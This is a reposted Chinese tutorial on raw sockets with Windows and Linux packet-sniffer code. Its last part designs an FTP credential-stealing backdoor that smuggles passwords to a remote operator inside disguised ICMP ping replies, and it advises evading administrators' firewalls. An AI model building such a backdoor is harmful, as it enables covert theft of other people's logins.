Raw Socket(原始套接字)
2014-01-24 22:58
731 查看
Raw Socket(原始套接字)实现Sniffer(嗅探)
一. 摘要 Raw Socket: 原始套接字
可以用它来发送和接收 IP 层以上的原始数据包, 如 ICMP, TCP, UDP...
int sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
这样我们就创建了一个 Raw Socket
Sniffer: 嗅探器
关于嗅探器的原理我想大多数人可能都知道
1. 把网卡置于混杂模式;
2. 捕获数据包;
3. 分析数据包.
但具体的实现知道的人恐怕就不是那么多了. 好, 现在让我们用 Raw Socket 的做一个自已的 Sniffer.
二. 把网卡置于混杂模式
在正常的情况下,一个网络接口应该只响应两种数据帧:
一种是与自己硬件地址相匹配的数据帧
一种是发向所有机器的广播数据帧
如果要网卡接收所有通过它的数据, 而不管是不是发给它的, 那么必须把网卡置于混杂模式. 也就是说让它的思维混乱, 不按正常的方式工作. 用 Raw Socket 实现代码如下:
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag); //设置 IP 头操作选项
bind(sockRaw, (PSOCKADDR)&addrLocal, sizeof(addrLocal); //把 sockRaw 绑定到本地网卡上
ioctlsocket(sockRaw, SIO_RCVALL, &dwValue); //让 sockRaw 接受所有的数据
flag 标志是用来设置 IP 头操作的, 也就是说要亲自处理 IP 头: bool flag = ture;
addrLocal 为本地地址: SOCKADDR_IN addrLocal;
dwValue 为输入输出参数, 为 1 时执行, 0 时取消: DWORD dwValue = 1;
没想到这么简单吧?
三. 捕获数据包
你的 sockRaw 现在已经在工作了, 可以在局域网内其它的电脑上用 Sniffer 检测工具检测一下, 看你的网卡是否处于混杂模式(比如 DigitalBrain 的 ARPKiller).
不能让他白白的浪费资源啊, 抓包!
recv(sockRaw, RecvBuf, BUFFER_SIZE, 0); //接受任意数据包
#define BUFFER_SIZE 65535
char RecvBuf[BUFFER_SIZE];
越来越发现 Sniffer 原来如此的简单了, 这么一个函数就已经完成抓取数据包的任务了.
四. 分析数据包
这回抓来的包和平常用 Socket 接受的包可就不是一回事儿了, 里面包含 IP, TCP 等原始信息. 要分析它首先得知道这些结构.
数据包的总体结构:
----------------------------------------------
| ip header | tcp header(or x header) | data |
----------------------------------------------
IP header structure:
4 8 16 32 bit
|--------|--------|----------------|--------------------------------|
| Ver | IHL |Type of service | Total length |
|--------|--------|----------------|--------------------------------|
| Identification | Flags | Fragment offset |
|--------|--------|----------------|--------------------------------|
| Time to live | Protocol | Header checksum |
|--------|--------|----------------|--------------------------------|
| Source address |
|--------|--------|----------------|--------------------------------|
| Destination address |
|--------|--------|----------------|--------------------------------|
| Option + Padding |
|--------|--------|----------------|--------------------------------|
| Data |
|--------|--------|----------------|--------------------------------|
TCP header structure:
16 32 bit
|--------------------------------|--------------------------------|
| Source port | Destination port |
|--------------------------------|--------------------------------|
| Sequence number |
|--------------------------------|--------------------------------|
| Acknowledgement number |
|--------------------------------|--------------------------------|
| Offset | Resrvd |U|A|P|R|S|F| Window |
|--------------------------------|--------------------------------|
| Checksum | Urgent pointer |
|--------------------------------|--------------------------------|
| Option + Padding |
|--------------------------------|--------------------------------|
| Data |
|--------------------------------|--------------------------------|
五. 实现 Sniffer
OK!
现在都清楚了, 还等什么.
下面是我用 BCB6 写的一个 Simple Sniffer 的代码, 仅供参考.
(需要在工程文件里加入WS2_32.LIB这个文件)
//*************************************************************************//
//* CPP File: WMain.cpp
//* Simple Sniffer by shadowstar
//* http://shadowstar.126.com/
//*************************************************************************//
#include <vcl.h>
#pragma hdrstop
#include <winsock2.h>
#include <ws2tcpip.h>
#include <mstcpip.h>
#include <netmon.h>
#include "WMain.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TMainForm *MainForm;
//---------------------------------------------------------------------------
__fastcall TMainForm::TMainForm(TComponent* Owner)
: TForm(Owner)
{
WSADATA WSAData;
BOOL flag = true;
int nTimeout = 1000;
char LocalName[16];
struct hostent *pHost;
//检查 Winsock 版本号
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
throw Exception("WSAStartup error!");
//初始化 Raw Socket
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == INVALID_SOCKET)
throw Exception("socket setup error!");
//设置IP头操作选项
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag)) == SOCKET_ERROR)
throw Exception("setsockopt IP_HDRINCL error!");
//获取本机名
if (gethostname((char*)LocalName, sizeof(LocalName)-1) == SOCKET_ERROR)
throw Exception("gethostname error!");
//获取本地 IP 地址
if ((pHost = gethostbyname((char*)LocalName)) == NULL)
throw Exception("gethostbyname error!");
addr_in.sin_addr = *(in_addr *)pHost->h_addr_list[0]; //IP
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(57274);
//把 sock 绑定到本地地址上
if (bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
throw Exception("bind error!");
iSortDirection = 1;
}
//---------------------------------------------------------------------------
__fastcall TMainForm::~TMainForm()
{
WSACleanup();
}
//---------------------------------------------------------------------------
void __fastcall TMainForm::btnCtrlClick(TObject *Sender)
{
TListItem *Item;
DWORD dwValue;
int nIndex = 0;
if (btnCtrl->Caption == "&Start")
{
dwValue = 1;
//设置 SOCK_RAW 为SIO_RCVALL,以便接收所有的IP包
if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0)
throw Exception("ioctlsocket SIO_RCVALL error!");
bStop = false;
btnCtrl->Caption = "&Stop";
lsvPacket->Items->Clear();
}
else
{
dwValue = 0;
bStop = true;
btnCtrl->Caption = "&Start";
//设置SOCK_RAW为SIO_RCVALL,停止接收
if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0)
throw Exception("WSAIoctl SIO_RCVALL error!");
}
while (!bStop)
{
if (recv(sock, RecvBuf, BUFFER_SIZE, 0) > 0)
{
nIndex++;
ip = *(IP*)RecvBuf;
tcp = *(TCP*)(RecvBuf + (ip.HdrLen & IP_HDRLEN_MASK));
Item = lsvPacket->Items->Add();
Item->Caption = nIndex;
Item->SubItems->Add(GetProtocolTxt(ip.Protocol));
Item->SubItems->Add(inet_ntoa(*(in_addr*)&ip.SrcAddr));
Item->SubItems->Add(inet_ntoa(*(in_addr*)&ip.DstAddr));
Item->SubItems->Add(tcp.SrcPort);
Item->SubItems->Add(tcp.DstPort);
Item->SubItems->Add(ntohs(ip.TotalLen));
}
Application->ProcessMessages();
}
}
//---------------------------------------------------------------------------
AnsiString __fastcall TMainForm::GetProtocolTxt(int Protocol)
{
switch (Protocol)
{
case IPPROTO_ICMP : //1 /* control message protocol */
return PROTOCOL_STRING_ICMP_TXT;
case IPPROTO_TCP : //6 /* tcp */
return PROTOCOL_STRING_TCP_TXT;
case IPPROTO_UDP : //17 /* user datagram protocol */
return PROTOCOL_STRING_UDP_TXT;
default :
return PROTOCOL_STRING_UNKNOWN_TXT;
}
}
//---------------------------------------------------------------------------
//*************************************************************************//
//* Header File: WMain.h for WMain.cpp class TMainForm
//*************************************************************************//
//---------------------------------------------------------------------------
#ifndef WMainH
#define WMainH
//---------------------------------------------------------------------------
#define BUFFER_SIZE 65535
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <ComCtrls.hpp>
#include <ExtCtrls.hpp>
#include <winsock2.h>
#include "netmon.h"
//---------------------------------------------------------------------------
class TMainForm : public TForm
{
__published: // IDE-managed Components
TPanel *Panel1;
TButton *btnCtrl;
TListView *lsvPacket;
TLabel *Label1;
void __fastcall btnCtrlClick(TObject *Sender);
void __fastcall lsvPacketColumnClick(TObject *Sender,
TListColumn *Column);
void __fastcall lsvPacketCompare(TObject *Sender, TListItem *Item1,
TListItem *Item2, int Data, int &Compare);
void __fastcall Label1Click(TObject *Sender);
private: // User declarations
AnsiString __fastcall GetProtocolTxt(int Protocol);
public: // User declarations
SOCKET sock;
SOCKADDR_IN addr_in;
IP ip;
TCP tcp;
PSUHDR psdHeader;
char RecvBuf[BUFFER_SIZE];
bool bStop;
int iSortDirection;
int iColumnToSort;
__fastcall TMainForm(TComponent* Owner);
__fastcall ~TMainForm();
};
//---------------------------------------------------------------------------
extern PACKAGE TMainForm *MainForm;
//---------------------------------------------------------------------------
#endif
偷了个懒, IP, TCP 头及一些宏定义用了 netmon.h 的头, 这个文件在 BCB6 的 include 目录下可以找得到, 其中与本程序相关内容如下:
//*************************************************************************//
//* Header File: netmon.h
//*************************************************************************//
//
// IP Packet Structure
//
typedef struct _IP
{
union
{
BYTE Version;
BYTE HdrLen;
};
BYTE ServiceType;
WORD TotalLen;
WORD ID;
union
{
WORD Flags;
WORD FragOff;
};
BYTE TimeToLive;
BYTE Protocol;
WORD HdrChksum;
DWORD SrcAddr;
DWORD DstAddr;
BYTE Options[0];
} IP;
typedef IP * LPIP;
typedef IP UNALIGNED * ULPIP;
//
// TCP Packet Structure
//
typedef struct _TCP
{
WORD SrcPort;
WORD DstPort;
DWORD SeqNum;
DWORD AckNum;
BYTE DataOff;
BYTE Flags;
WORD Window;
WORD Chksum;
WORD UrgPtr;
} TCP;
typedef TCP *LPTCP;
typedef TCP UNALIGNED * ULPTCP;
// upper protocols
#define PROTOCOL_STRING_ICMP_TXT "ICMP"
#define PROTOCOL_STRING_TCP_TXT "TCP"
#define PROTOCOL_STRING_UDP_TXT "UDP"
#define PROTOCOL_STRING_SPX_TXT "SPX"
#define PROTOCOL_STRING_NCP_TXT "NCP"
#define PROTOCOL_STRING_UNKNOW_TXT "UNKNOW"
这个文件也有人声称没有.
//*************************************************************************//
//* Header File: mstcpip.h
//*************************************************************************//
// Copyright (c) Microsoft Corporation. All rights reserved.
#if _MSC_VER > 1000
#pragma once
#endif
/* Argument structure for SIO_KEEPALIVE_VALS */
struct tcp_keepalive {
u_long onoff;
u_long keepalivetime;
u_long keepaliveinterval;
};
// New WSAIoctl Options
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define SIO_RCVALL_MCAST _WSAIOW(IOC_VENDOR,2)
#define SIO_RCVALL_IGMPMCAST _WSAIOW(IOC_VENDOR,3)
#define SIO_KEEPALIVE_VALS _WSAIOW(IOC_VENDOR,4)
#define SIO_ABSORB_RTRALERT _WSAIOW(IOC_VENDOR,5)
#define SIO_UCAST_IF _WSAIOW(IOC_VENDOR,6)
#define SIO_LIMIT_BROADCASTS _WSAIOW(IOC_VENDOR,7)
#define SIO_INDEX_BIND _WSAIOW(IOC_VENDOR,8)
#define SIO_INDEX_MCASTIF _WSAIOW(IOC_VENDOR,9)
#define SIO_INDEX_ADD_MCAST _WSAIOW(IOC_VENDOR,10)
#define SIO_INDEX_DEL_MCAST _WSAIOW(IOC_VENDOR,11)
// Values for use with SIO_RCVALL* options
#define RCVALL_OFF 0
#define RCVALL_ON 1
#define RCVALL_SOCKETLEVELONLY 2
现在我们自已的 Sniffer 就做好了, Run, Start......哇, 这么多数据包, 都是从这一台机器上发出的, 它在干什么? 原来 Adminstrator 密码为空, 中了尼姆达病毒!
六. 小结
优点: 实现简单, 不需要做驱动程序就可实现抓包.
缺点: 数据包头不含帧信息, 不能接收到与 IP 同层的其它数据包, 如 ARP, RARP...
这里提供的程序仅仅是一个 Sniffer 的例子, 没有对数据包进行进一步的分析. 写此文的目的在于熟悉Raw Socket 编程方法, 了解 TCP/IP 协议结构原理以及各协议之间的关系.
=====================================
一、raw socket介绍
1、raw socket中文叫原始套接字,它和其他的套接字的不同之处在于它工作在网络层或数据链路层,而其他类型的套接字工作在传输层,只能进行传输层数据操作。
我们常使用raw socket进行数据监听,在网卡处在混杂模式下时,可以接收所有经过网卡的数据,包括广播的数据包和发向自己的数据包,当然在共享式网络中(典型的hub组建的局域网),所有的数据包都是广播的,所以都能接收到,在交换式网络中只能接收到发向自己的包和以广播方式发的包。我们还可以设置是否手动处理要发送的数据的IP包头(通过设置socket选项),当然一般是需要设置成手动处理的。
2、内核接收网络数据后在raw socket上处理原则:
a、因为工作在网络层上的raw socket不使用udp和tcp协议,所以系统收到tcp和udp协议的数据包不会发送到工作在网络层上的raw socket。而如果raw socket工作在链路层上,那包系统会将所以收到的数据包都复制一份发送给raw socket。
b、因为工作在网络层上的raw socket经常使用ICMP,EGP等协议,所以如果系统收到ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的数据包,系统会将这些包复制一份发送给对应协议类型的raw socket进行处理(也就是说如果raw socket没有使用bind和connect函数,那么系统会将所以符合raw socket协议的数据包送给raw socket处理)。
c、如果工作在网络层上的raw socket使用bind绑定了一个地址,那么系统只将收到目的地址为bind所绑定地址的ICMP和EGP等传输层之下的协议的数据包发送给raw socket处理
d、如果工作在网络层上的raw socket使用connect函数远程连接到其他机器地址的话,那么系统只将收到的源地址为connect地址的且协议为ICMP等传输层之下的协议的数据包发送给raw socket处理。
e、对于不能识别协议类型的数据包,系统会进行必要的较验,然后检查有没有匹配协议类型的raw socket,如果有的话,就复制一份给raw socket,如果没有就简单的丢弃。并返回一个主机不可达的ICMP给源主机。
3、选项
使用setsockopt设置socket的选项,其中IP_HDRINCL用来设置是否手动处理ip包头,如果设置为真,那么需要自己创建IP包头,然后发送,如果没有设置,那么系统会自动为raw socket设置IP包头附加在我们自己的数据之前。当然使用raw socket接收的数据包总是包含有IP包头。因为有这样的可以使用虚假的源地址等操作,所以需要root权限。
二、raw socket的创建和使用
1、像其他类型的socket一样,raw socket的创建非常简单,直接使用socket函数进行创建
int socketfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);/*在网络层使用的原始套接字*/
int socketfd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_IP));/*在链路层使用*/
注意:在指定协议的时候,不能向其他套接字一样简单的指定为0(IPPROTO_IP),因为其他套字字会根据套接字的类型自动选择其协议,比如stream类型的协议会选择为tcp的协议,而原始套接字不行。这些协议在unix里面定义在<netinet/in.h>文件里,当然要使用这些协议还需要内核对该协议的支持。
1.原始套接字介绍
1.1 原始套接字工作原理与规则
1.2 简单应用
2 FTP密码窃取器实现(简单的rootkit)
2.1 设计思路
2.2 实现
2.3 不足与改进之处
开始,嗯,喝口茶水先...........
1.原始套接字(raw socket)
1.1 原始套接字工作原理与规则
原始套接字是一个特殊的套接字类型,它的创建方式跟TCP/UDP创建方法几乎是
一摸一样,例如,通过
CODE:
int sockfd;
sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);
这两句程序你就可以创建一个原始套接字.然而这种类型套接字的功能却与TCP或者UDP类型套接字的功能有很大的不同:TCP/UDP类型的套接字只能够访问传输层以及传输层以上的数据,因为当IP层把数据传递给传输层时,下层的数据包头已经被丢掉了.而原始套接字却可以访问传输层以下的数据,,所以使用raw套接字你可以实现上至应用层的数据操作,也可以实现下至链路层的数据操作.
比如:通过
CODE:
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))
方式创建的raw socket就能直接读取链路层的数据.
1)使用原始套接字时应该注意的问题(参考<<unix网络编程>>以及网上的优秀文档)
(1):对于UDP/TCP产生的IP数据包,内核不将它传递给任何原始套接字,而只是将这些数据交给对应的UDP/TCP数据处理句柄(所以,如果你想要通过原始套接字来访问TCP/UDP或者其它类型的数据,调用socket函数创建原始套接字第三个参数应该指定为htons(ETH_P_IP),也就是通过直接访问数据链路层来实现.(我们后面的密码窃取器就是基于这种类型的).
(2):对于ICMP和EGP等使用IP数据包承载数据但又在传输层之下的协议类型的IP数据包,内核不管是否已经有注册了的句柄来处理这些数据,都会将这些IP数据包复制一份传递给协议类型匹配的原始套接字.
(3):对于不能识别协议类型的数据包,内核进行必要的校验,然后会查看是否有类型匹配的原始套接字负责处理这些数据,如果有的话,就会将这些IP数据包复制一份传递给匹配的原始套接字,否则,内核将会丢弃这个IP数据包,并返回一个ICMP主机不可达的消息给源主机.
(4): 如果原始套接字bind绑定了一个地址,核心只将目的地址为本机IP地址的数包传递给原始套接字,如果某个原始套接字没有bind地址,核心就会把收到的所有IP数据包发给这个原始套接字.
(5): 如果原始套接字调用了connect函数,则核心只将源地址为connect连接的IP地址的IP数据包传递给这个原始套接字.
(6):如果原始套接字没有调用bind和connect函数,则核心会将所有协议匹配的IP数据包传递给这个原始套接字.
2).编程选项
原始套接字是直接使用IP协议的非面向连接的套接字,在这个套接字上可以调用bind和connect函数进行地址绑定.说明如下:
(1)bind函数:调用bind函数后,发送数据包的源IP地址将是bind函数指定的地址。如是不调用bind,则内核将以发送接口的主IP地址填充IP头. 如果使用setsockopt设置了IP_HDRINCL(header including)选项,就必须手工填充每个要发送的数据包的源IP地址,否则,内核将自动创建IP首部.
(2)connetc函数:调用connect函数后,就可以使用write和send函数来发送数据包,而且内核将会用这个绑定的地址填充IP数据包的目的IP地址,否则的话,则应使用sendto或sendmsg函数来发送数据包,并且要在函数参数中指定对方的IP地址。
综合以上种种功能和特点,我们可以使用原始套接字来实现很多功能,比如最基本的数据包分析,主机嗅探等.其实也可以使用原始套接字作一个自定义的传输层协议.
1.2一个简单的应用
下面的代码创建一个直接读取链路层数据包的原始套接字,并从中分析出源MAC地址和目的MAC地址,源IP和目的IP,以及对应的传输层协议,如果是TCP/UDP协议的话,打印其目的和源端口.为了方便阅读,程序中避免了使用任何与协议有关的数据结构,如
struct ether_header ,struct iphdr 等,当然, 要完全理解代码,你需要关于指针以及位运算的知识
[Copy to clipboard] [ - ]
CODE:
/***************SimpelSniffer.c*************/
//auther:duanjigang@2006s
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/if_ether.h>
#include <linux/in.h>
#define BUFFER_MAX 2048
int main(int argc, char *argv[])
{
int sock, n_read, proto;
char buffer[BUFFER_MAX];
char *ethhead, *iphead, *tcphead,
*udphead, *icmphead, *p;
if((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 0)
{
fprintf(stdout, "create socket error/n");
exit(0);
}
while(1)
{
n_read = recvfrom(sock, buffer, 2048, 0, NULL, NULL);
/*
14 6(dest)+6(source)+2(type or length)
+
20 ip header
+
8 icmp,tcp or udp header
= 42
*/
if(n_read < 42)
{
fprintf(stdout, "Incomplete header, packet corrupt/n");
continue;
}
ethhead = buffer;
p = ethhead;
int n = 0XFF;
printf("MAC: %.2X:%02X:%02X:%02X:%02X:%02X==>"
"%.2X:%.2X:%.2X:%.2X:%.2X:%.2X/n",
p[6]&n, p[7]&n, p[8]&n, p[9]&n, p[10]&n, p[11]&n,
p[0]&n, p[1]&n, p[2]&n,p[3]&n, p[4]&n, p[5]&n);
iphead = ethhead + 14;
p = iphead + 12;
printf("IP: %d.%d.%d.%d => %d.%d.%d.%d/n",
p[0]&0XFF, p[1]&0XFF, p[2]&0XFF, p[3]&0XFF,
p[4]&0XFF, p[5]&0XFF, p[6]&0XFF, p[7]&0XFF);
proto = (iphead + 9)[0];
p = iphead + 20;
printf("Protocol: ");
switch(proto)
{
case IPPROTO_ICMP: printf("ICMP/n");break;
case IPPROTO_IGMP: printf("IGMP/n");break;
case IPPROTO_IPIP: printf("IPIP/n");break;
case IPPROTO_TCP :
case IPPROTO_UDP :
printf("%s,", proto == IPPROTO_TCP ? "TCP": "UDP");
printf("source port: %u,",(p[0]<<8)&0XFF00 | p[1]&0XFF);
printf("dest port: %u/n", (p[2]<<8)&0XFF00 | p[3]&0XFF);
break;
case IPPROTO_RAW : printf("RAW/n");break;
default:printf("Unkown, please query in include/linux/in.h/n");
}
}
}
2 FTP密码嗅探器实现
注意:本部分的实现,采用了系统定义的一些数据结构,如链路层头结构体,网络层头结构体,以及TCP.UDP,ICMP头等结构体,正好对上一个例子是一个补充,同时,在程序中操作起来也更方便一些,当然,你必须知道每个数据结构的意思,与数据包头中的各项是如何对应的,还有,在下面的程序中,我们使用单链表存储收集到的用户名与密码,所以,你应该必须熟悉单链表的操作,如插入节点和删除节点等,最后,你最好能够很熟练的使用FTP命令,这样才能很好的理解本文的代码和要点.(对了,你还得明白校验和是做什么用的,以及它的计算方法)为了方便理解,我在文中添加了一个简单的数据包分层图,如下
=============================================
| | | |
| 链路层头 | IP报文头 | 传输层报文头 | 应用层数据
| | | |
-==============================================
2.1设计思路
在网上看到有好多sniffer的设计思路,有些确实讲的很不错,但是却很少发现有完整的作出来一个实例的(也许是偶孤陋寡闻没找见),正好想起来<<Hacking the Linux Kernel Network Stack>>中有这么一个实例,那篇主要是讲netfilter的,在模块里面实现数据的过滤,窃取用户名和密码,于是我便把那个故事搬过来,用原始套接字去实现,而且远程窃取密码的方法同样使用的是令人洋洋得意的思路--构造一个伪ping包来ping已经被植入后门程序的主机,后门程序在收到特殊的ping包之后,会讲密码嵌入到特殊的ping返回消息中,从而完成密码的运输.不同之处在于返回密码时采用的方法,本文中创建了一个ICMP类型的raw
socket作为ICMP echo request 消息的echo reply消息返回,虽然较之前文的方法有些逊色,但是却相当提供了一个完整的ping程序,你可以稍加修改就做出自己的ping来.而且在对协议类型进行判断的Switch分支中,你可以继续添加自己的处理方法,比如SNMP的162UDP端口或者其他协议的分析.
程序的运行过程:
首先我们会创建一个接收链路层的原始套接字,之所以创建链路层的原始套接字,原因有:
1:出于教学目的,我们尽力去分析数据包中尽可能多的信息,所以从链路层抓起,逐层提取信息.
2: FTP是基于TCP协议的应用层协议,所以我们要能从传输层区分出TCP包和UDP包,但是,前面的规则已经讲到了,对于UDP或者TCP产生的IP层数据包,内核将不会把它传递给任何原始套接字,而是交给对应的TCP/UDP处理函数,要能够让原始套接字接收UDP和TCP产生的IP数据包,或者说接收传输层的UDP和TCP类型的数据,所创建的原始套接字必须为ETH_P_IP类型的,在程序里面体现出来就是将第三个参数指定为找个值.
在套接字创建成功之后,我们的程序就在系统中注册了一块数据结构,并且内核中对于所有的原始套接字都有一个维护列表的,在收到网络上的数据时,内核会跟据条件将收到的数据复制一份交给注册了这个套接字的程序去处理.
所以,如果系统缓存中如果已经有了数据,我们调用的recvfrom函数将会返回,可能读取失败,也可能满载而归,携带了足够多的数据供我们的程序进行处理.
为了防止收到的数据有差错,我们进行必要的检验,作为数据包来说,链路层占了14个字节的空间,6个自己源地址,6个字节是目的地址,2个字节作为类型码,接下来是IP层的头信息,由于找个层的头信息包含的项比较多,所以不进行一一的分析,IP层至少战局20个字节的空间,下来就是传输层的头信息了,在不去分UDP/TCP或者ICMP的情况下,我们可以看到,传输层的头信息至少应该包括8个字节,所以,我们要检验读到的数据包大小是否超过了最基本的数据包头的大小,如果没有的话,说明数据包有误,我们将其丢弃,重新接收.
下来的处理就采用跟上面的例子一样的模式,先去除链路层的14个字节,接着找出网络层的头,从IP头中提取协议类型字段,如果是TCP协议,则进行分析,从中查找可能的用户名和密码对,由于FTP使用明文传送,而且传送用户名时的格式为USER <用户名>,传送密码时的格式为PASS <密码>,所以我们可以从中分析这两个关键字符串,然后从中提取用户姓名和登陆密码,一旦提取成功就将这一对信息加入到链表中存储起来,等待远程主机来索取;如果协议类型是ICMP的话,我们就要注意了,因为我们的远程主机发送的取密码的数据包就是以ICMP包的格式伪装起来的,它具有一般的ICMP包的格式,并且在ICMP包的type字段填入了ICMP_ECHO这个值,表示ping的回显请求,所以操作系统会认为是一个一般的ping消息,将它交给协议栈去处理,然而此时我们的后门程序已经在这个主机上运行了,如果它能够发现这个伪装的ICMP消息的话,就可以通过构造一个ICMP回显应答的消息将它采集到的关于这台主机的信息发送出去,那样就实现了远程信息获取的功能.
注意到ICMP消息中有两个字段,一个是type,一个是code,我们已经知道了,如果type为ICMP_ECHO,则标识这是一个回显请求,如果type为ICMP_ECHOREPLY的话,则说明是一个回显应答,但是code有什么作用呢?默认的ping程序中code字段都是0,但是在实际中我发现,如果你将code字段设置为其他非0值,而只要type字段设置为ICMP_ECHO的话,也会被操作系统认为是一个ping回显请求,它马上会给你发送一个应答.所以,如果防火墙没有对code字段做检测的话,我们就可以利用code来做文章:远程主机自己构造一个ICMP_ECHO的包,在code字段填入事先约定好的特殊值,以便于后门程序能够认出它,并且不会被操作系统和防火墙当作不速之客拒之门外,当后门程序从千千万万的数据包中检测出一个这样的特殊包时,它知道远程的主人下命令了,要求它返回可能窃取到的用户名和密码,后门程序就会自己构造一个ICMP_ECHOREPLY的数据包,如果已经存储了有效的数据的话,它取出一对数据填入这个应答包中(是一定要注意,这个回显应答的包不能太大,以免被警觉的管理员所采取的防火墙规则阻挡住,这样我们的后门程序就会功亏于溃),然后再加上一个特殊的标志位,发送出去.而这个特殊的标志位也同样是ICMP中的code字段,这样做是为了远程主机能够从千千万万的回显应答中找到自己心仪的那一个应答数据包,从而得到窃取的信息.如果后门程序没有采集到密码对,则会发送一个事先约定好的无效用户名和密码给远程主机,告诉它,暂时还没有有效的数据,请不要再索取了.
另外,在程序中我们的原则是,每次回显应答带走一对用户名和密码,所以,如果某个用户正在远端使用虚假的ping程序呼唤密码的话,他可以一直执行这个发送伪装Ping包的程序,每次都能获取到一对用户名和密码,直到出现无效值,说明数据已经传送完毕.
这就是整个程序的大体的运行过程.
下面我再就实际实现与测试时出现的问题进行一些说明,这些问题也是在实现这个嗅探器的过程中困扰我最久的,好多问题都是想了几天后类忽然发现原因的,呵呵,我已经饱受这些煎熬,所以如果你注意一下下面讨论的问题,在运行程序时就不会遇到这么多麻烦的.
我们的程序是一个单线程的监听程序,每到一个TCP包,就从中查找USER或者PASS字段,如果找到的话,就取出它后面的值,认为是用户名或者密码,然后存储起来.但是会有一下情况发生.
(1)
如果我们的程序启动时,用户名已经传送过了,而我们仅仅捕捉到了PASS的值,这个时候如果一直去等USER出现的话,就会出现差错,你可以想象一下,如果我们取到了用户A的登陆密码为PASSA,而没有得到它的用户名,我们的程序却在等待USER的出现,如果在某个时候USER出现了,很显然,这是新连接的登陆用户名,跟上一次存储的密码不属于一次会话的数据,即使我们拿到了这个用户名和密码,也只是上一个用户登陆的密码和这一个用户登陆的姓名,这样拿到了也没用,除非是特殊情况的出现,即同一个用户连着登陆多次,那么,瞎猫碰着死耗子,我们得到了正确的数据,但是我们希望尽可能去获取一次会话中的用户名和密码对,所以,嗅探的原则是,如果没有用户名,就不存储密码.
(2)
考虑再细致点,想想多用户同时登陆的情况,假设 thatday已经连接上FTP服务器,并且键入了用户名 thatday发送给FTP服务器,这个时候我们的程序也应该在FTP服务器上获取到了用户名thatday, 忽然thatday收到他GF打来的电话,便忘记了输入密码,开始跟他mm聊天,这个时候 肥肥 也去登陆,他键入用户名FatFighterM,发送出去,于是我们的程序发现又有一个叫做FatFighterM的用户名被传过来了,但是此时程序的任务是等待一个密码,如果直接丢弃FatFighterM这个用户名不管,并且继续等待对应thatday的密码的话,可能会出现如下差错:thatday还在聊天,肥肥当仁不让的输入密码,并且登陆成功,开始工作,可我们的傻瓜程序却会以为这是thatday的密码,将这视为一对,存储起来,但是这样的数据是没有用的,根本就不匹配!
也许你会说,那就这样吧,如果有新来的用户名,就丢弃先采集到的用户名,存储后来的用户名,这不就行了?这样也会有问题,如果肥肥在输入用户名后也接到了老婆的电话,然后他就离开座位聊起天来,当然还没有输入密码(他可能认为保持半登陆状态比输入密码登陆成功后离开座位更安全),这个时候thatday聊天结束,他输入自己的密码,发给服务器,但是这个时候我们的程序存储的用户名却是肥肥的名字, 然后却又收到了thatday的密码,所以同样做了无用功.因此,还需要进行更多的控制.
当然,FTP服务器是不会出这种错误的,因为它会为每个登陆过程开一个单独的会话,但是我们的单线程程序却会遇到这些问题,试想,如果我们给每个密码对加上源IP地址进行匹配,这个问题是不是就可以解决了,对,这样就可以解决问题了.我们可以这样做,每来一个用户名,就记下这个数据包的源IP和源端口,如果下次来的PASS的源IP和端口跟已经存储的用户名和密码一致的话,就认为是一对,而且还继续以前的规定,没有用户名之前不存储密码.因为不同的客户机,源IP地址肯定不同,所以可以根据IP地址来区分不通主机的连接,而对于同一台机子上的不通用户,他们的源IP当然是相同的了,我们只有根据它的源端口进行区分了.
如果以上说得都做到了我们就可以获取到密码了.
下来,该讨论取密码是应该注意的问题了.
首先说说嗅探器端,既然我们创建了一个原始套接字并且从找个套接字读到了ping请求,好像顺理成章的我们就应改把密码对通过这个发回远程主机,但是我在尝试了N次之后
始终没有成功,一个可能的原则是"链路层的原始套接字不能直接自己填充链路层头信息并将数据发送出去",不知道这个说法正确不?期待专家的回复.因为我一开始的想法就是直接将这个数据包的源MAC和目的MAC互换,IP互换,端口互换,并希望能直接利用原来的套接字发送回去,但是最终还是没能成功,但是我认为,这是最好的做法了.最后只好委屈求全,再次创建一个原始套接字,类型为IPPROTO_ICMP,跟自己写ping程序一样,写了一段简单的ping echo reply的代码,用新的套接字将密码发回,这个实在是一个巨大的暇疵!
嗅探端已经完毕,接着看远程的命令端,我一开始就使用<<Hacking the Linux Kernel Network Stack>>中的那个命令端程序,结果伪装包是发送成功了,可是读取到的数据老是错误,用户名和密码总是空的,折腾了2天,这天,细心的同事忽然告诉我说你收到的消息好像跟发送的一摸一样,这时才发现了问题所在,在原来的代码中,作者只读取一次就成功了,而在我得程序里,第一次read到的ICMP消息居然是自己发送出去的原封不动,关于这个原因我还没有思考清楚,只觉得可能是由于同一台机子测试引起的,并没有做太多的分析,希望专家给出更科学的说法!然后就增加条件,如果返回的type是ICMP_ECHO的话就扔掉,结果发现这次读到了ICMP_ECHOREPLY,用户名和密码还是错的,一想,原来是收到了系统返回的ping应答消息,最终的原则就是,当收到的ICMP消息是ICMP_ECHOREPLY时并且code字段为嗅探器所填的特殊值时,才进行处理,终于能够正确的运行起来.
2.2 实现(代码片断)
由于论坛字符上限的原因,在次只贴出了部分代码,并且删除了注视,完整的代码作为附件上传上来吧.
[Copy to clipboard] [ - ]
CODE:
int main(int argc, char *argv[])
{
int sock, n_read;
struct ether_header * etherh;
struct iphdr * iph;
char buffer[BUFFER_MAX];
